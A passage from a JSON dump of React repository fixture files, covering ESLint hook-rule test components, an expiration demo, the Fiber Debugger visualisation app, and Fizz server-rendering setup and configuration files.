react-hooks/rules-of-hooks\n    useHook2();\n  }\n  while (c) {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook3();\n    if (d) return;\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook4();\n  }\n}\n\n/**\n * Compiler Rules\n */\n// Invalid: component factory\nfunction InvalidComponentFactory() {\n  const DynamicComponent = () => <div>Hello</div>;\n  // eslint-disable-next-line react-hooks/static-components\n  return <DynamicComponent />;\n}\n\n// Invalid: mutating globals\nfunction InvalidGlobals() {\n  // eslint-disable-next-line react-hooks/immutability\n  window.myGlobal = 42;\n  return <div>Done</div>;\n}\n\n// Invalid: useMemo with wrong deps\nfunction InvalidUseMemo({items}) {\n  // eslint-disable-next-line react-hooks/exhaustive-deps\n  const sorted = useMemo(() => [...items].sort(), []);\n  return <div>{sorted.length}</div>;\n}\n\n// Invalid: missing/extra deps in useEffect\nfunction InvalidEffectDeps({a, b}) {\n  useEffect(() => {\n    console.log(a);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n\n  useEffect(() => {\n    console.log(a);\n    // TODO: eslint-disable-next-line react-hooks/exhaustive-effect-dependencies\n  }, [a, b]);\n}\n"
  },
  {
    "path": "fixtures/eslint-v9/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"eslint-v9\",\n  \"dependencies\": {\n    \"eslint\": \"^9.33.0\",\n    \"eslint-plugin-react-hooks\": \"link:../../build/oss-stable/eslint-plugin-react-hooks\",\n    \"jiti\": \"^2.4.2\"\n  },\n  \"scripts\": {\n    \"build\": \"node build.mjs && yarn\",\n    \"lint\": \"tsc --noEmit && eslint index.js --report-unused-disable-directives\"\n  },\n  \"devDependencies\": {\n    \"typescript\": \"^5.4.3\"\n  }\n}\n"
  },
  {
    "path": "fixtures/eslint-v9/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"lib\": [\n      \"es2022\"\n    ],\n    \"module\": \"nodenext\",\n    \"moduleResolution\": \"nodenext\",\n    \"target\": \"es2022\",\n    \"typeRoots\": [\n      \"./node_modules/@types\"\n    ],\n    \"skipLibCheck\": true\n  },\n  \"exclude\": [\n    \"node_modules\",\n    \"**/node_modules\",\n    \"../node_modules\",\n    \"../../node_modules\"\n  ]\n}\n"
  },
  {
    "path": "fixtures/expiration/.gitignore",
    "content": "# See https://help.github.com/ignore-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n\n# testing\n/coverage\n\n# production\n/build\n\n# misc\n.DS_Store\n.env.local\n.env.development.local\n.env.test.local\n.env.production.local\n\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n\npublic/react.development.js\npublic/react-dom.development.js"
  },
  {
    "path": "fixtures/expiration/package.json",
    "content": "{\n  \"name\": \"expiration-2\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"dependencies\": {\n    \"react\": \"^16.1.1\",\n    \"react-dom\": \"^16.1.1\",\n    \"react-scripts\": \"1.0.17\"\n  },\n  \"scripts\": {\n    \"predev\":\n      \"cp ../../build/oss-experimental/react/umd/react.development.js public/ && cp ../../build/oss-experimental/react-dom/umd/react-dom.development.js public/\",\n    \"dev\": \"react-scripts start\",\n    \"build\": \"react-scripts build\",\n    \"test\": \"react-scripts test --env=jsdom\",\n    \"eject\": \"react-scripts eject\"\n  }\n}\n"
  },
  {
    "path": "fixtures/expiration/public/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n\n<head>\n  <meta charset=\"utf-8\">\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n  <meta name=\"theme-color\" content=\"#000000\">\n  <!--\n      manifest.json provides metadata used when your web app is added to the\n      homescreen on Android. See https://developers.google.com/web/fundamentals/engage-and-retain/web-app-manifest/\n    -->\n  <link rel=\"manifest\" href=\"%PUBLIC_URL%/manifest.json\">\n  <link rel=\"shortcut icon\" href=\"%PUBLIC_URL%/favicon.ico\">\n  <!--\n      Notice the use of %PUBLIC_URL% in the tags above.\n      It will be replaced with the URL of the `public` folder during the build.\n      Only files inside the `public` folder can be referenced from the HTML.\n\n      Unlike \"/favicon.ico\" or \"favicon.ico\", \"%PUBLIC_URL%/favicon.ico\" will\n      work correctly both with client-side routing and a non-root public URL.\n      Learn how to configure a non-root public URL by running `npm run build`.\n    -->\n  <script src=\"/react.development.js\"></script>\n  <script src=\"/react-dom.development.js\"></script>\n  <title>Expiration Example</title>\n</head>\n\n<body>\n  <h1>Expiration Example</h1>\n  <p>This fixture demonstrates expiration using the\n    <code>timeout</code> option of\n    <code>requestIdleCallback</code>. If it's working correctly, you should see below a number that increments approximately once every second (the expiration\n    time of a low priority update.) If there is no counter, or if it increases too slowly or quickly, something is broken.\n  </p>\n  <noscript>\n    You need to enable JavaScript to run this app.\n  </noscript>\n  <div id=\"root\"></div>\n  <!--\n      This HTML file is a template.\n      If you open it directly in the browser, you will see an empty page.\n\n      You can add webfonts, meta tags, or analytics to this file.\n      The build step will place the bundled scripts into the <body> tag.\n\n      To begin the development, run `npm start` or `yarn start`.\n      To create a production bundle, use `npm run build` or `yarn build`.\n    -->\n</body>\n\n</html>"
  },
  {
    "path": "fixtures/expiration/src/index.js",
    "content": "const React = global.React;\nconst ReactDOM = global.ReactDOM;\n\nclass Counter extends React.unstable_AsyncComponent {\n  state = {counter: 0};\n  onCommit() {\n    setImmediate(() => {\n      this.setState(state => ({\n        counter: state.counter + 1,\n      }));\n    });\n  }\n  componentDidMount() {\n    this.onCommit();\n  }\n  componentDidUpdate() {\n    this.onCommit();\n  }\n  render() {\n    return <h1>{this.state.counter}</h1>;\n  }\n}\n\nconst interval = 200;\nfunction block() {\n  const endTime = performance.now() + interval;\n  while (performance.now() < endTime) {}\n}\nsetInterval(block, interval);\n\n// Should render a counter that increments approximately every second (the\n// expiration time of a low priority update).\nReactDOM.render(<Counter />, document.getElementById('root'));\nblock();\n"
  },
  {
    "path": "fixtures/fiber-debugger/.gitignore",
    "content": "# See http://help.github.com/ignore-files/ for more about ignoring files.\n\n# dependencies\nnode_modules\n\n# testing\ncoverage\n\n# production\nbuild\n\n# misc\n.DS_Store\nnpm-debug.log\n"
  },
  {
    "path": "fixtures/fiber-debugger/README.md",
    "content": "# Fiber Debugger\n\nThis is a debugger handy for visualizing how [Fiber](https://github.com/facebook/react/issues/6170) works internally.\n\n**It is only meant to be used by React contributors, and not by React users.**\n\nIt is likely that it might get broken at some point. If it's broken, ping [Dan](https://twitter.com/dan_abramov).\n\n### Running\n\nFirst, `npm run build` in React root repo folder.\n\nThen `npm install` and `npm start` in this folder.\n\nOpen `http://localhost:3000` in Chrome.\n\n### Features\n\n* Edit code that uses `ReactNoop` renderer\n* Visualize how relationships between fibers change over time\n* Current tree is displayed in green\n\n![fiber debugger](https://d17oy1vhnax1f7.cloudfront.net/items/3R2W1H2M3a0h3p1l133r/Screen%20Recording%202016-10-21%20at%2020.41.gif?v=e4323e51)\n\n\n"
  },
  {
    "path": "fixtures/fiber-debugger/package.json",
    "content": "{\n  \"name\": \"react-fiber-debugger\",\n  \"version\": \"0.0.1\",\n  \"private\": true,\n  \"devDependencies\": {\n    \"react-scripts\": \"0.9.5\"\n  },\n  \"dependencies\": {\n    \"dagre\": \"^0.7.4\",\n    \"pretty-format\": \"^4.2.1\",\n    \"react-draggable\": \"^2.2.6\",\n    \"react-motion\": \"^0.5.0\"\n  },\n  \"scripts\": {\n    \"dev\": \"react-scripts start\",\n    \"build\": \"react-scripts build\"\n  }\n}\n"
  },
  {
    "path": "fixtures/fiber-debugger/public/index.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <link rel=\"shortcut icon\" href=\"%PUBLIC_URL%/favicon.ico\">\n    <script src=\"https://cdnjs.cloudflare.com/ajax/libs/babel-standalone/6.14.0/babel.min.js\"></script>\n    <title>React App</title>\n  </head>\n  <body>\n    <div id=\"root\"></div>\n  </body>\n</html>\n"
  },
  {
    "path": "fixtures/fiber-debugger/src/App.js",
    "content": "import React, {Component} from 'react';\nimport Draggable from 'react-draggable';\nimport ReactNoop from 'react-noop-renderer';\nimport Editor from './Editor';\nimport Fibers from './Fibers';\nimport describeFibers from './describeFibers';\n\n// The only place where we use it.\nconst ReactFiberInstrumentation =\n  ReactNoop.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED\n    .ReactFiberInstrumentation;\n\nfunction getFiberState(root, workInProgress) {\n  if (!root) {\n    return null;\n  }\n  return describeFibers(root.current, workInProgress);\n}\n\nconst defaultCode = `\nlog('Render <div>Hello</div>');\nReactNoop.render(<div>Hello</div>);\nReactNoop.flush();\n\nlog('Render <h1>Goodbye</h1>');\nReactNoop.render(<h1>Goodbye</h1>);\nReactNoop.flush();\n`;\n\nclass App extends Component {\n  constructor(props) {\n    super(props);\n    this.state = {\n      code: localStorage.getItem('fiber-debugger-code') || defaultCode,\n      isEditing: false,\n      history: [],\n      currentStep: 0,\n      show: {\n        alt: false,\n        child: true,\n        sibling: true,\n        return: false,\n        fx: false,\n      },\n      graphSettings: {\n        rankdir: 'TB',\n        trackActive: true,\n      },\n    };\n  }\n\n  componentDidMount() {\n    this.runCode(this.state.code);\n  }\n\n  runCode(code) {\n    let currentStage;\n    let currentRoot;\n\n    ReactFiberInstrumentation.debugTool = null;\n    ReactNoop.render(null);\n    ReactNoop.flush();\n    ReactFiberInstrumentation.debugTool = {\n      onMountContainer: root => {\n        currentRoot = root;\n      },\n      onUpdateContainer: root => {\n        currentRoot = root;\n      },\n      onBeginWork: fiber => {\n        const fibers = getFiberState(currentRoot, fiber);\n        const stage = currentStage;\n        this.setState(({history}) => ({\n          history: [\n            ...history,\n            {\n              action: 'BEGIN',\n              fibers,\n              stage,\n            },\n          ],\n        }));\n      },\n      onCompleteWork: fiber => {\n        const fibers = getFiberState(currentRoot, fiber);\n        const stage = currentStage;\n        this.setState(({history}) => ({\n          history: [\n            ...history,\n            {\n              action: 'COMPLETE',\n              fibers,\n              stage,\n            },\n          ],\n        }));\n      },\n      onCommitWork: fiber => {\n        const fibers = getFiberState(currentRoot, fiber);\n        const stage = currentStage;\n        this.setState(({history}) => ({\n          history: [\n            ...history,\n            {\n              action: 'COMMIT',\n              fibers,\n              stage,\n            },\n          ],\n        }));\n      },\n    };\n    window.React = React;\n    window.ReactNoop = ReactNoop;\n    window.expect = () => ({\n      toBe() {},\n      toContain() {},\n      toEqual() {},\n    });\n    window.log = s => (currentStage = s);\n    // eslint-disable-next-line\n    eval(\n      window.Babel.transform(code, {\n        presets: ['react', 'es2015'],\n      }).code\n    );\n  }\n\n  handleEdit = e => {\n    e.preventDefault();\n    this.setState({\n      isEditing: true,\n    });\n  };\n\n  handleCloseEdit = nextCode => {\n    localStorage.setItem('fiber-debugger-code', nextCode);\n    this.setState({\n      isEditing: false,\n      history: [],\n      currentStep: 0,\n      code: nextCode,\n    });\n    this.runCode(nextCode);\n  };\n\n  render() {\n    const {history, currentStep, isEditing, code} = this.state;\n    if (isEditing) {\n      return <Editor code={code} onClose={this.handleCloseEdit} />;\n    }\n\n    const {fibers, action, stage} = history[currentStep] || {};\n    let friendlyAction;\n    if (fibers) {\n      let wipFiber = fibers.descriptions[fibers.workInProgressID];\n      let friendlyFiber = wipFiber.type || wipFiber.tag + ' #' + wipFiber.id;\n      friendlyAction = `After ${action} on ${friendlyFiber}`;\n    }\n\n    return (\n      <div style={{height: '100%'}}>\n        {fibers && (\n          <Draggable>\n            <Fibers\n              fibers={fibers}\n              show={this.state.show}\n              graphSettings={this.state.graphSettings}\n            />\n          </Draggable>\n        )}\n        <div\n          style={{\n            width: '100%',\n            textAlign: 'center',\n            position: 'fixed',\n            bottom: 0,\n            padding: 10,\n            zIndex: 1,\n            backgroundColor: '#fafafa',\n            border: '1px solid #ccc',\n          }}>\n          <div style={{width: '50%', float: 'left'}}>\n            <input\n              type=\"range\"\n              style={{width: '25%'}}\n              min={0}\n              max={history.length - 1}\n              value={currentStep}\n              onChange={e =>\n                this.setState({currentStep: Number(e.target.value)})\n              }\n            />\n            <p>\n              Step {currentStep}: {friendlyAction} (\n              <a style={{color: 'gray'}} onClick={this.handleEdit} href=\"#\">\n                Edit\n              </a>\n              )\n            </p>\n            {stage && <p>Stage: {stage}</p>}\n            {Object.keys(this.state.show).map(key => (\n              <label style={{marginRight: '10px'}} key={key}>\n                <input\n                  type=\"checkbox\"\n                  checked={this.state.show[key]}\n                  onChange={e => {\n                    this.setState(({show}) => ({\n                      show: {...show, [key]: !show[key]},\n                    }));\n                  }}\n                />\n                {key}\n              </label>\n            ))}\n          </div>\n          <div style={{width: '50%', float: 'right'}}>\n            <h5>Graph Settings</h5>\n            <p>\n              <label style={{display: ''}}>\n                Direction:\n                <select\n                  onChange={e => {\n                    const rankdir = e.target.value;\n                    this.setState(({graphSettings}) => ({\n                      graphSettings: {...graphSettings, rankdir},\n                    }));\n                  }}>\n                  <option value=\"TB\">top-down</option>\n                  <option value=\"BT\">down-top</option>\n                  <option value=\"LR\">left-right</option>\n                  <option value=\"RL\">right-left</option>\n                </select>\n              </label>\n            </p>\n            <p>\n              <label style={{marginRight: '10px'}}>\n                <input\n                  type=\"checkbox\"\n                  checked={this.state.graphSettings.trackActive}\n                  onChange={e => {\n                    this.setState(({graphSettings}) => ({\n                      graphSettings: {\n                        ...graphSettings,\n                        trackActive: !graphSettings.trackActive,\n                      },\n                    }));\n                  }}\n                />\n                Track active fiber\n              </label>\n            </p>\n          </div>\n        </div>\n      </div>\n    );\n  }\n}\n\nexport default App;\n"
  },
  {
    "path": "fixtures/fiber-debugger/src/Editor.js",
    "content": "import React, {Component} from 'react';\n\nclass Editor extends Component {\n  constructor(props) {\n    super(props);\n    this.state = {\n      code: props.code,\n    };\n  }\n\n  render() {\n    return (\n      <div\n        style={{\n          height: '100%',\n          width: '100%',\n        }}>\n        <textarea\n          value={this.state.code}\n          onChange={e => this.setState({code: e.target.value})}\n          style={{\n            height: '80%',\n            width: '100%',\n            fontSize: '15px',\n          }}\n        />\n        <div style={{height: '20%', textAlign: 'center'}}>\n          <button\n            onClick={() => this.props.onClose(this.state.code)}\n            style={{fontSize: 'large'}}>\n            Run\n          </button>\n        </div>\n      </div>\n    );\n  }\n}\n\nexport default Editor;\n"
  },
  {
    "path": "fixtures/fiber-debugger/src/Fibers.js",
    "content": "import React from 'react';\nimport {Motion, spring} from 'react-motion';\nimport dagre from 'dagre';\n// import prettyFormat from 'pretty-format';\n// import reactElement from 'pretty-format/plugins/ReactElement';\n\nfunction getFiberColor(fibers, id) {\n  if (fibers.currentIDs.indexOf(id) > -1) {\n    return 'lightgreen';\n  }\n  if (id === fibers.workInProgressID) {\n    return 'yellow';\n  }\n  return 'lightyellow';\n}\n\nfunction Graph(props) {\n  const {rankdir, trackActive} = props.settings;\n  var g = new dagre.graphlib.Graph();\n  g.setGraph({\n    width: 1000,\n    height: 1000,\n    nodesep: 50,\n    edgesep: 150,\n    ranksep: 100,\n    marginx: 100,\n    marginy: 100,\n    rankdir,\n  });\n\n  var edgeLabels = {};\n  React.Children.forEach(props.children, function (child) {\n    if (!child) {\n      return;\n    }\n    if (child.type.isVertex) {\n      g.setNode(child.key, {\n        label: child,\n        width: child.props.width,\n        height: child.props.height,\n      });\n    } else if (child.type.isEdge) {\n      const relationshipKey = child.props.source + ':' + child.props.target;\n      if (!edgeLabels[relationshipKey]) {\n        edgeLabels[relationshipKey] = [];\n      }\n      edgeLabels[relationshipKey].push(child);\n    }\n  });\n\n  Object.keys(edgeLabels).forEach(key => {\n    const children = edgeLabels[key];\n    const child = children[0];\n    g.setEdge(child.props.source, child.props.target, {\n      label: child,\n      allChildren: children.map(c => c.props.children),\n      weight: child.props.weight,\n    });\n  });\n\n  dagre.layout(g);\n\n  var activeNode = g\n    .nodes()\n    .map(v => g.node(v))\n    .find(node => node.label.props.isActive);\n  const [winX, winY] = [window.innerWidth / 2, window.innerHeight / 2];\n  var focusDx = trackActive && activeNode ? winX - activeNode.x : 0;\n  var focusDy = trackActive && activeNode ? winY - activeNode.y : 0;\n\n  var nodes = g.nodes().map(v => {\n    var node = g.node(v);\n    return (\n      <Motion\n        style={{\n          x: props.isDragging ? node.x + focusDx : spring(node.x + focusDx),\n          y: props.isDragging ? node.y + focusDy : spring(node.y + focusDy),\n        }}\n        key={node.label.key}>\n        {interpolatingStyle =>\n          React.cloneElement(node.label, {\n            x: interpolatingStyle.x + props.dx,\n            y: interpolatingStyle.y + props.dy,\n            vanillaX: node.x,\n            vanillaY: node.y,\n          })\n        }\n      </Motion>\n    );\n  });\n\n  var edges = g.edges().map(e => {\n    var edge = g.edge(e);\n    let idx = 0;\n    return (\n      <Motion\n        style={edge.points.reduce((bag, point) => {\n          bag[idx + ':x'] = props.isDragging\n            ? point.x + focusDx\n            : spring(point.x + focusDx);\n          bag[idx + ':y'] = props.isDragging\n            ? point.y + focusDy\n            : spring(point.y + focusDy);\n          idx++;\n          return bag;\n        }, {})}\n        key={edge.label.key}>\n        {interpolatedStyle => {\n          let points = [];\n          Object.keys(interpolatedStyle).forEach(key => {\n            const [idx, prop] = key.split(':');\n            if (!points[idx]) {\n              points[idx] = {x: props.dx, y: props.dy};\n            }\n            points[idx][prop] += interpolatedStyle[key];\n          });\n          return React.cloneElement(edge.label, {\n            points,\n            id: edge.label.key,\n            children: edge.allChildren.join(', '),\n          });\n        }}\n      </Motion>\n    );\n  });\n\n  return (\n    <div\n      style={{\n        position: 'relative',\n        height: '100%',\n      }}>\n      {edges}\n      {nodes}\n    </div>\n  );\n}\n\nfunction Vertex(props) {\n  if (Number.isNaN(props.x) || Number.isNaN(props.y)) {\n    return null;\n  }\n\n  return (\n    <div\n      style={{\n        position: 'absolute',\n        border: '1px solid black',\n        left: props.x - props.width / 2,\n        top: props.y - props.height / 2,\n        width: props.width,\n        height: props.height,\n        overflow: 'hidden',\n        padding: '4px',\n        wordWrap: 'break-word',\n      }}>\n      {props.children}\n    </div>\n  );\n}\nVertex.isVertex = true;\n\nconst strokes = {\n  alt: 'blue',\n  child: 'green',\n  sibling: 'darkgreen',\n  return: 'red',\n  fx: 'purple',\n};\n\nfunction Edge(props) {\n  var points = props.points;\n  var path = 'M' + points[0].x + ' ' + points[0].y + ' ';\n\n  if (!points[0].x || !points[0].y) {\n    return null;\n  }\n\n  for (var i = 1; i < points.length; i++) {\n    path += 'L' + points[i].x + ' ' + points[i].y + ' ';\n    if (!points[i].x || !points[i].y) {\n      return null;\n    }\n  }\n\n  var lineID = props.id;\n\n  return (\n    <svg\n      width=\"100%\"\n      height=\"100%\"\n      style={{\n        position: 'absolute',\n        left: 0,\n        right: 0,\n        top: 0,\n        bottom: 0,\n      }}>\n      <defs>\n        <path d={path} id={lineID} />\n        <marker\n          id=\"markerCircle\"\n          markerWidth=\"8\"\n          markerHeight=\"8\"\n          refX=\"5\"\n          refY=\"5\">\n          <circle cx=\"5\" cy=\"5\" r=\"3\" style={{stroke: 'none', fill: 'black'}} />\n        </marker>\n        <marker\n          id=\"markerArrow\"\n          markerWidth=\"13\"\n          markerHeight=\"13\"\n          refX=\"2\"\n          refY=\"6\"\n          orient=\"auto\">\n          <path d=\"M2,2 L2,11 L10,6 L2,2\" style={{fill: 'black'}} />\n        </marker>\n      </defs>\n\n      <use\n        xlinkHref={`#${lineID}`}\n        fill=\"none\"\n        stroke={strokes[props.kind]}\n        style={{\n          markerStart: 'url(#markerCircle)',\n          markerEnd: 'url(#markerArrow)',\n        }}\n      />\n      <text>\n        <textPath xlinkHref={`#${lineID}`}>\n          {'     '}\n          {props.children}\n        </textPath>\n      </text>\n    </svg>\n  );\n}\nEdge.isEdge = true;\n\nfunction formatPriority(priority) {\n  switch (priority) {\n    case 1:\n      return 'synchronous';\n    case 2:\n      return 'task';\n    case 3:\n      return 'hi-pri work';\n    case 4:\n      return 'lo-pri work';\n    case 5:\n      return 'offscreen work';\n    default:\n      throw new Error('Unknown priority.');\n  }\n}\n\nexport default function Fibers({fibers, show, graphSettings, ...rest}) {\n  const items = Object.keys(fibers.descriptions).map(\n    id => fibers.descriptions[id]\n  );\n\n  const isDragging = rest.className.indexOf('dragging') > -1;\n  const [_, sdx, sdy] =\n    rest.style.transform.match(/translate\\((-?\\d+)px,(-?\\d+)px\\)/) || [];\n  const dx = Number(sdx);\n  const dy = Number(sdy);\n\n  return (\n    <div\n      {...rest}\n      style={{\n        width: '100%',\n        height: '100%',\n        position: 'absolute',\n        top: 0,\n        left: 0,\n        ...rest.style,\n        transform: null,\n      }}>\n      <Graph\n        className=\"graph\"\n        dx={dx}\n        dy={dy}\n        isDragging={isDragging}\n        settings={graphSettings}>\n        {items.map(fiber => [\n          <Vertex\n            key={fiber.id}\n            width={150}\n            height={100}\n            isActive={fiber.id === fibers.workInProgressID}>\n            <div\n              style={{\n                width: '100%',\n                height: '100%',\n                backgroundColor: getFiberColor(fibers, fiber.id),\n              }}\n              title={\n                /*prettyFormat(fiber, { plugins: [reactElement ]})*/\n                'todo: this was hanging last time I tried to pretty print'\n              }>\n              <small>\n                {fiber.tag} #{fiber.id}\n              </small>\n              <br />\n              {fiber.type}\n              <br />\n              {fibers.currentIDs.indexOf(fiber.id) === -1 ? (\n                <small>\n                  {fiber.pendingWorkPriority !== 0 && [\n                    <span key=\"span\">\n                      Needs: {formatPriority(fiber.pendingWorkPriority)}\n                    </span>,\n                    <br key=\"br\" />,\n                  ]}\n                  {fiber.memoizedProps !== null &&\n                    fiber.pendingProps !== null && [\n                      fiber.memoizedProps === fiber.pendingProps\n                        ? 'Can reuse memoized.'\n                        : 'Cannot reuse memoized.',\n                      <br key=\"br\" />,\n                    ]}\n                </small>\n              ) : (\n                <small>Committed</small>\n              )}\n              {fiber.flags && [\n                <br key=\"br\" />,\n                <small key=\"small\">Effect: {fiber.flags}</small>,\n              ]}\n            </div>\n          </Vertex>,\n          fiber.child && show.child && (\n            <Edge\n              source={fiber.id}\n              target={fiber.child}\n              kind=\"child\"\n              weight={1000}\n              key={`${fiber.id}-${fiber.child}-child`}>\n              child\n            </Edge>\n          ),\n          fiber.sibling && show.sibling && (\n            <Edge\n              source={fiber.id}\n              target={fiber.sibling}\n              kind=\"sibling\"\n              weight={2000}\n              key={`${fiber.id}-${fiber.sibling}-sibling`}>\n              sibling\n            </Edge>\n          ),\n          fiber.return && show.return && (\n            <Edge\n              source={fiber.id}\n              target={fiber.return}\n              kind=\"return\"\n              weight={1000}\n              key={`${fiber.id}-${fiber.return}-return`}>\n              return\n            </Edge>\n          ),\n          fiber.nextEffect && show.fx && (\n            <Edge\n              source={fiber.id}\n              target={fiber.nextEffect}\n              kind=\"fx\"\n              weight={100}\n              key={`${fiber.id}-${fiber.nextEffect}-nextEffect`}>\n              nextFx\n            </Edge>\n          ),\n          fiber.firstEffect && show.fx && (\n            <Edge\n              source={fiber.id}\n              target={fiber.firstEffect}\n              kind=\"fx\"\n              weight={100}\n              key={`${fiber.id}-${fiber.firstEffect}-firstEffect`}>\n              firstFx\n            </Edge>\n          ),\n          fiber.lastEffect && show.fx && (\n            <Edge\n              source={fiber.id}\n              target={fiber.lastEffect}\n              kind=\"fx\"\n              weight={100}\n              key={`${fiber.id}-${fiber.lastEffect}-lastEffect`}>\n              lastFx\n            </Edge>\n          ),\n          fiber.alternate && show.alt && (\n            <Edge\n              source={fiber.id}\n              target={fiber.alternate}\n              kind=\"alt\"\n              weight={10}\n              key={`${fiber.id}-${fiber.alternate}-alt`}>\n              alt\n            </Edge>\n          ),\n        ])}\n      </Graph>\n    </div>\n  );\n}\n"
  },
  {
    "path": "fixtures/fiber-debugger/src/describeFibers.js",
    "content": "let nextFiberID = 1;\nconst fiberIDMap = new WeakMap();\n\nfunction getFiberUniqueID(fiber) {\n  if (!fiberIDMap.has(fiber)) {\n    fiberIDMap.set(fiber, nextFiberID++);\n  }\n  return fiberIDMap.get(fiber);\n}\n\nfunction getFriendlyTag(tag) {\n  switch (tag) {\n    case 0:\n      return '[indeterminate]';\n    case 1:\n      return '[fn]';\n    case 2:\n      return '[class]';\n    case 3:\n      return '[root]';\n    case 4:\n      return '[portal]';\n    case 5:\n      return '[host]';\n    case 6:\n      return '[text]';\n    case 7:\n      return '[coroutine]';\n    case 8:\n      return '[handler]';\n    case 9:\n      return '[yield]';\n    case 10:\n      return '[frag]';\n    default:\n      throw new Error('Unknown tag.');\n  }\n}\n\nfunction getFriendlyEffect(flags) {\n  const effects = {\n    1: 'Performed Work',\n    2: 'Placement',\n    4: 'Update',\n    8: 'Deletion',\n    16: 'Content reset',\n    32: 'Callback',\n    64: 'Err',\n    128: 'Ref',\n  };\n  return Object.keys(effects)\n    .filter(flag => flag & flags)\n    .map(flag => effects[flag])\n    .join(' & ');\n}\n\nexport default function describeFibers(rootFiber, workInProgress) {\n  let descriptions = {};\n  function acknowledgeFiber(fiber) {\n    if (!fiber) {\n      return null;\n    }\n    if (!fiber.return && fiber.tag !== 3) {\n      return null;\n    }\n    const id = getFiberUniqueID(fiber);\n    if (descriptions[id]) {\n      return id;\n    }\n    descriptions[id] = {};\n    Object.assign(descriptions[id], {\n      ...fiber,\n      id: id,\n      tag: getFriendlyTag(fiber.tag),\n      flags: getFriendlyEffect(fiber.flags),\n      type: fiber.type && '<' + (fiber.type.name || fiber.type) + '>',\n      stateNode: `[${typeof fiber.stateNode}]`,\n      return: acknowledgeFiber(fiber.return),\n      child: acknowledgeFiber(fiber.child),\n      sibling: acknowledgeFiber(fiber.sibling),\n      nextEffect: acknowledgeFiber(fiber.nextEffect),\n      firstEffect: acknowledgeFiber(fiber.firstEffect),\n      lastEffect: acknowledgeFiber(fiber.lastEffect),\n      alternate: acknowledgeFiber(fiber.alternate),\n    });\n    return id;\n  }\n\n  const rootID = acknowledgeFiber(rootFiber);\n  const workInProgressID = acknowledgeFiber(workInProgress);\n\n  let currentIDs = new Set();\n  function markAsCurrent(id) {\n    currentIDs.add(id);\n    const fiber = descriptions[id];\n    if (fiber.sibling) {\n      markAsCurrent(fiber.sibling);\n    }\n    if (fiber.child) {\n      markAsCurrent(fiber.child);\n    }\n  }\n  markAsCurrent(rootID);\n\n  return {\n    descriptions,\n    rootID,\n    currentIDs: Array.from(currentIDs),\n    workInProgressID,\n  };\n}\n"
  },
  {
    "path": "fixtures/fiber-debugger/src/index.css",
    "content": "html, body {\n  margin: 0;\n  padding: 0;\n  font-family: sans-serif;\n  height: 100vh;\n  cursor: -webkit-grab; cursor: -moz-grab;\n}\n\n#root {\n  height: 100vh;\n}\n\n* {\n  box-sizing: border-box;\n}"
  },
  {
    "path": "fixtures/fiber-debugger/src/index.js",
    "content": "import React from 'react';\nimport ReactDOM from 'react-dom';\nimport App from './App';\nimport './index.css';\n\nReactDOM.render(<App />, document.getElementById('root'));\n"
  },
  {
    "path": "fixtures/fizz/README.md",
    "content": "# Fizz Fixtures\n\nA set of basic tests for Fizz primarily focused on baseline performance of legacy renderToString and streaming implementations.\n\n## Setup\n\nTo reference a local build of React, first run `npm run build` at the root\nof the React project. Then:\n\n```\ncd fixtures/fizz\nyarn\nyarn start\n```\n\nThe `start` command runs a webpack dev server and a server-side rendering server in development mode with hot reloading.\n\n**Note: whenever you make changes to React and rebuild it, you need to re-run `yarn` in this folder:**\n\n```\nyarn\n```\n\nIf you want to try the production mode instead run:\n\n```\nyarn start:prod\n```\n\nThis will pre-build all static resources and then start a server-side rendering HTTP server that hosts the React app and service the static resources (without hot reloading).\n"
  },
  {
    "path": "fixtures/fizz/package.json",
    "content": "{\n  \"name\": \"react-ssr\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"engines\": {\n    \"node\": \">=14.9.0\"\n  },\n  \"license\": \"MIT\",\n  \"dependencies\": {\n    \"@babel/core\": \"7.14.3\",\n    \"@babel/register\": \"7.13.16\",\n    \"babel-loader\": \"8.1.0\",\n    \"babel-preset-react-app\": \"10.0.0\",\n    \"compression\": \"^1.7.4\",\n    \"concurrently\": \"^5.3.0\",\n    \"express\": \"^4.17.1\",\n    \"nodemon\": \"^2.0.6\",\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\",\n    \"react-error-boundary\": \"^3.1.3\",\n    \"resolve\": \"1.12.0\",\n    \"rimraf\": \"^3.0.2\",\n    \"webpack\": \"4.44.2\",\n    \"webpack-cli\": \"^4.2.0\"\n  },\n  \"devDependencies\": {\n    \"cross-env\": \"^7.0.3\",\n    \"prettier\": \"1.19.1\"\n  },\n  \"scripts\": {\n    \"predev\": \"cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;\",\n    \"prestart\": \"cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;\",\n    \"dev\": \"concurrently \\\"npm run dev:server\\\" \\\"npm run dev:bundler\\\"\",\n    \"start\": \"concurrently \\\"npm run start:server\\\" \\\"npm run start:bundler\\\"\",\n    \"dev:server\": \"cross-env NODE_ENV=development nodemon -- --inspect server/server.js\",\n    \"start:server\": \"cross-env NODE_ENV=production nodemon -- server/server.js\",\n    \"dev:bundler\": \"cross-env NODE_ENV=development nodemon -- scripts/build.js\",\n    \"start:bundler\": \"cross-env NODE_ENV=production nodemon -- scripts/build.js\"\n  },\n  \"babel\": {\n    \"presets\": [\n      [\n        \"react-app\",\n        {\n          \"runtime\": \"automatic\"\n        }\n      ]\n    ]\n  },\n  \"nodemonConfig\": {\n    \"ignore\": [\n      \"build/*\"\n    ]\n  }\n}\n"
  },
  {
    "path": "fixtures/fizz/public/main.css",
